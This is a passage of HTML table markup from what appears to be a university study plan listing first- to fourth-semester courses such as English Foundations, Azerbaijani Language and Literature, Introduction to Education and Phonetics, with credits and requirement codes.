<p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"400\">\r\n <strong>I\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"443\">\r\n  <strong>II\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL 101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>English Foundations-1 (12 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p><strong>UR</strong></p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  102</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>English Foundations-2 (12 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>AZLL\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Azerbaijani\r\n  Language </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>AZLL\r\n  105</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Azerbaijani\r\n  Literature </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Azerbaijani\r\n  Culture </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>EDU\r\n  201 </strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Introduction\r\n  to Education </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>CMS\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Introduction\r\n  to CS (Math and Natural Sciences-1)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Math\r\n  and natural-2 (astronomy) </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>HIST\r\n  150</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Azerbaijani\r\n  history</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  108</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Phonetics</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"400\">\r\n <strong>III\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"443\">\r\n <strong>IV\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  103</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Academic\r\n  &nbsp;English ( 8 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL 216</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Academic\r\n  Language Skills (6 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Social-1\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Humanities-2\r\n  (Foreign Language 2)</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Humanities-1\r\n  (Foreign Language 1)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  201</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>English\r\n  Grammar pre-advanced <strong>(4 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 